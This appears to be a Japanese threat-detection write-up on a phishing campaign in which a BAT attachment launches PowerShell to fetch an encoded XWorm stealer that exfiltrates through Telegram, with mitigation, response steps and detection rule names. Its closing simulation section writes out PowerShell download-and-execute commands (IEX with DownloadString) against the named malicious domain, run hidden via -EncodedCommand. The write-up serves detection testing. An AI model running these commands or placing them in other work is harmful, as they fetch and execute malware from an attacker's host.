悪意のあるスクリプトがさらに悪質なコンテンツを配信
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
フィッシングメールがBATスクリプトを含む悪意ある添付ファイルを配信し、それがPowerShellを起動してBase64エンコードされたペイロードをダウンロードします。デコード後、ペイロードはXWormに解決され、これは.NETスティーラーとしてホストのフィンガープリントを収集し、収集したデータをTelegramボット経由で漏洩させます。持続性は、落とされた実行ファイルを繰り返し実行するスケジュールされたタスクを作成することで確立されます。この操作は、偽の画像ホスティング誘導やペイロード準備に使われた少なくとも1つの侵害されたIPを含む、複数のインフラ要素に依存しています。
調査
BATスクリプトのレビューで、攻撃者が制御するドメインからPNGファイルに見えるファイルを取得するPowerShellのワンライナーが暴露されました。埋め込まれたBase64コンテンツはその後、クリーンアップされ、反転され、そしてデコードされて.NET実行ファイルが再構築されます。バイナリアナリシスでは、マルウェアが Chromiumx2 と名付けられたスケジュールタスクを登録し、TelegramのAPIをコマンド・コントロールおよびデータ漏洩に使用していることが示されました。調査員は、ホスティングドメイン、関連するIPアドレス、実行中に参照されたTelegram APIエンドポイントを含む主要なネットワーク指標を抽出しました。
緩和策
メールの添付ファイルやユーザダウンロードディレクトリからの信頼されていないBATやPowerShellコンテンツの実行を防ぎます。アプリケーションの許可リストを適用し、スケジュールタスクの作成を制限し、疑わしい新しいタスク登録をフラグで表示します。Telegram APIエンドポイントへの外向きアクセスを監視し、可能な場合は制限し、特定の悪意あるドメインをDNS/プロキシレイヤーでブロックします。エンドポイント検出を更新し、観察されたインジケータやスクリプトベースのダウンロードパターンを反映させ続けます。
対応
Chromiumx2のスケジュールタスクやChromiumx2.exeが観察されたエンドポイントを隔離します。スケジュールタスクを削除し、悪意あるバイナリを削除し、フォレンジックスコーピングのためにアーティファクト(スクリプト、デコードされたペイロード、タスクXML、および関連ログ)を収集します。同じタスク名、類似のPowerShellデコード動作、およびTelegramベースのトラフィックを環境全体で追跡します。潜在的に漏洩した資格情報をリセットし、フィッシング添付ファイルについてユーザーに通知して再実行を減らします。
攻撃フロー
検出
コマンド&コントロールチャンネルとしての Telegram 悪用の可能性(dns_query経由)
表示
疑わしいプロセスがコマンドラインでURLを使用しています(cmdline経由)
表示
PowerShell 経由でのダウンロードまたはアップロード(cmdline経由)
表示
Schtasks が疑わしいディレクトリ/バイナリ/スクリプトを指します(cmdline経由)
表示
疑わしいPowerShell文字列(powershell経由)
表示
公開ユーザープロフィール内の疑わしいファイル(file_event経由)
表示
疑わしいPowerShell文字列(cmdline経由)
表示
持続性のための Schtasks または AT 使用の可能性(cmdline経由)
表示
IOC(SourceIP)を検出する:より多くの悪意をもたらす悪意あるスクリプト
表示
IOC(DestinationIP)を検出する:より多くの悪意をもたらす悪意あるスクリプト
表示
Chromiumx2 の持続性のためのスケジュールタスク作成 [Windows プロセス作成]
表示
Base64エンコードされた PowerShell ペイロードのフェッチを検出する [Windows PowerShell]
表示
シミュレーション実行
前提条件:テレメトリとベースラインの事前確認が合格していること。
-
攻撃シナリオ&コマンド:
攻撃者は、攻撃者が侵害したWebサーバーから悪意あるペイロードをダウンロードして実行したいと考えています。クラシックな署名検出を回避するために、ダウンロードおよび実行のロジック全体を1つのBase64文字列に埋め込み、以下のPowerShellを呼び出します。-EncodedCommand。このコマンドは、検出ルールが監視する正確なURL(https://uniworldrivercruises-co.uk/optimized_MSI.png).-
悪意あるペイロードをエンコード (受信したスクリプトを実行するシンプルなダウンローダー):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64生成されたB64(例):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(省略)。 -
エンコードされたコマンドを実行:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
この1行がSigmaルールが期待する正確なテレメトリを生成:PowerShellプロセス、
-EncodedCommandフラグ、およびデコードされたスクリプトブロック内の悪意あるURL。 -
-
リグレッションテストスクリプト:
#------------------------------------------------- # 検出ルールを引き起こすリグレッションスクリプト #------------------------------------------------- # 1. 悪意あるペイロードの構築 $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. エンコードされたPowerShellコマンドを介してペイロードを実行 Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "悪意あるエンコードされたコマンドが実行されました。" #------------------------------------------------- -
クリーンアップコマンド:
# 一時ファイルを削除(ペイロードが直接ストリームされたため予期されない) # テストで開始された隠されたPowerShellプロセスを終了 Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "クリーンアップ完了。"